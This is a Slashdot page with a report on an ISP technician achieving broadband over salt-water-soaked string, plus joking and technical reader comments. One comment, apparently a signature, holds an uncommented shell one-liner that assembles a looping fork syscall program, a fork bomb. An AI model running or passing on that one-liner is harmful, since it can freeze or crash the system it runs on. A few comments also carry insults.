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Someone Used Wet String To Get a Broadband Connection (vice.com)
dmoberhaus shares a Motherboard report: A UK techie with a sense of humor may have found an alternative to expensive corporate broadband cables: some wet string. It's an old joke among network technicians that it's possible to get a broadband connection with anything, even if it's just two cans connected with some wet string. As detailed in a blog post by Adrian Kennard, who runs an ISP called Andrews & Arnold in the UK, one of his colleagues took the joke literally and actually established a broadband connection using some wet string. Broadband is a catch-all term for high speed internet access, but there are many different kinds of broadband internet connections. For example, there are fiber optic connections that route data using light and satellite connections, but one of the most common types is called an asymmetric digital subscriber line (ADSL), which connects your computer to the internet using a phone line. Usually, broadband connections rely on wires made of a conductive substances like copper. In the case of the Andrews & Arnold technician, however, they used about 6 feet of twine soaked in salt water (better conductivity than fresh water) that was connected to alligator clips to establish the connection. According to the BBC, this worked because the connection "is not really about the flow of current." Instead, the string is acting as a guide for an electromagnetic wave -- the broadband signal carrying the data -- and the medium for a waveguide isn't so important.
Copper is just a scam incorporated by big Pharma And the Free Masons!
Wait... what the shit... Fiber connections now route via satellite!? Why the hell didn't anyone tell me this?
In other news, after the demonstration in the UK, FCC immediately notices that since everyone has string, viable broadband competition exists everywhere.
Don't go giving Comcast ideas.
IFLS-tier pop computing bullshit articles. I connected a lan with speaker wire and alligator clips. Who cares.
just wondering.
stop trying to reinvent the wheel and catch up with the rest of us. I've been using Verizon's "wet string" tier for years now and as soon as they repeal Net Neutrality ill upgrade to the 'haggard burro" tier where they feed a flash drive to an old donkey and drive it mercilessly across the Oregon trail. Some people think this tier is too expensive but honestly, Exhuming a 256 megabyte plastic USB stick from the carcass of a deceased beast of burden is obviously the superior method to view Netflix.
Good people go to bed earlier.
Is that what you were using before 2015, when the "Net Neutrality" rules went into effect?
In Soviet Washington the swamp drains you.
https://www.youtube.com/watch?...
And there was me worrying about PCIe risers in things like the Node 202
https://www.techpowerup.com/re...
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
...student electrocutes self by holding one end of a wet string and dipping the other end into a live electrical socket. Who would have thought? Copper isn't the only conductor of electricity.
Yeah, waveguide is wrong since that typically means photons. If you are dealing with high enough frequencies you might call the conductor a transmission line.
Christ man! Don't give Comcast any ideas!
It's an old joke among network technicians that it's possible to get a broadband connection with anything, even if it's just two cans connected with some wet string.
Or, indeed, IPoAC ( https://en.wikipedia.org/wiki/... ).
Latency sucks, but the bandwidth is incredible.
Mod me down with all of your hatred and your journey towards the dark side will be complete!
https://slashdot.org/story/02/01/03/2039218/ethernet-over-assorted-materials
I can't tell if the year of the article is 01 02 or 03
meaning they all have resistance, capacitance, and inductance. if you are thinking in terms of a transmission line instead of an electrical conductor, this means they all have peaks and nulls. with a supported salt-water solution, I would expect varying conductivity in those abnormal regions, and varying conductivity as the line slowly dies. this is varying resistance, while the distributed capacitance and inductive resonance should be reasonably low. it will confuse the dslam DSP section, but it would work for a demonstration. hooking to the top two barbed wires on a pasture fence would work much better, assuming whoever twisted the rolls of wire together did so really tight for the least amount of splice loss.
still better off with 22 gauge twisted pair... you will have more cap and coil with that, but the resistance will be constant.
if this is supposed to be a new economy, how come they still want my old fashioned money?
Salt water is more than just a better conductor than fresh water. Pure water doesn't conduct electricity at all; it's an insulator, and it's used as such in some specialized applications. Tap water will conduct electricity, but that's because of various impurities, many of which are intentionally introduced for practical purposes, like the chlorine ions that kill microbes and the fluoride added to remineralize your teeth.
A minor nitpick, I know, but I've always been fascinated by the way what we think of as water's conductivity isn't actually a property of water itself.
Proud member of the Weirdo-American community.
Have they received the patent infringement from Comcast yet?
Yeah, that "arrogant fuck", Jim Al-Khalili, is a theoretical physicist. Go look him up shit for brain, and look at https://en.wikipedia.org/wiki/....
In future Australia's NBN network roll out will be adopting wet string as an upgrade.
Someone has been watching too much MacGyver...
Give this guy a little bit of wire, wet string, and a used condom, and he'll make interstellar travel not only possible, but economical...
From the last line of the article (yes I actually read it)
"This can be important when it comes to faulty lines with bad (or even disconnected) joints still providing some level of broadband service.”
I can attest to this. My phone line broke, or at least one of the pair of wires did, about 100 yards from my house (according to the TDR readings taken by the BT engineer that came to fix it). I still retained about 7Mbps down and 1MBPs up but could not make landline phone calls. My normal speeds normally hit whatever limit they put on my connection, which at the time was 40Mbps down and 8Mbps up.
Strange. I didn't know radar used photons.
20 years ago working for a turnkey cable modem company we had a customer just outside our serviceable area. He used the barbed wire fence that ran between his property and the neighbor (Who was in our service area) to connect a cable modem. As I recall this had only about 12dB attenuation over the half mile run.
This was pre-DOCSIS, and Teryon made good stuff.
--
.nosig
Hey look, there's Australia's new broadband network!
We were stuck with cu and beating the bits out with sticks against trees.
My ism, it's full of beliefs.
Now that we've been introduced, whatever you disagree with me about your actions suggest your viewpoint is so flimsy it would fail if you needed to defend it against me. I'm happy to have triggered you.
I'm gonna guess you are one of the toxic misandric people I'm talking about and the worst thing I could possibly say to you is:
Have a great Christmas
My ism, it's full of beliefs.